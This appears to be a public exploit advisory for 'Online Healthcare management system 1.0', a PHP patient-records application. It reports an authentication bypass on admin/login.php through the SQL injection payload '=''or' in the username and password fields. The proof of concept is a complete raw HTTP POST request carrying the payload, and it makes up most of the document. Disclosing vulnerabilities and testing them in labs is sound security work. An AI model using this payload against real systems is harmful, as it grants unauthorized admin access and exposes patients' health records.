# Exploit Title: Online Healthcare management system 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-05-16
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14217/online-healthcare-patient-record-management-system-using-phpmysql.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/donbermoy/onlinehealthcare.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : admin/index.php || admin/login.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/onlinehealthcare/admin/login.php

POST /onlinehealthcare/admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------293261110021842
Content-Length: 356
Referer: http://localhost/onlinehealthcare/admin/index.php
Cookie: _ga=GA1.1.1353584531.1478253768
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------293261110021842: undefined
Content-Disposition: form-data; name="username"
'=''or'
-----------------------------293261110021842
Content-Disposition: form-data; name="password"

'=''or'
-----------------------------293261110021842
Content-Disposition: form-data; name="login"


-----------------------------293261110021842--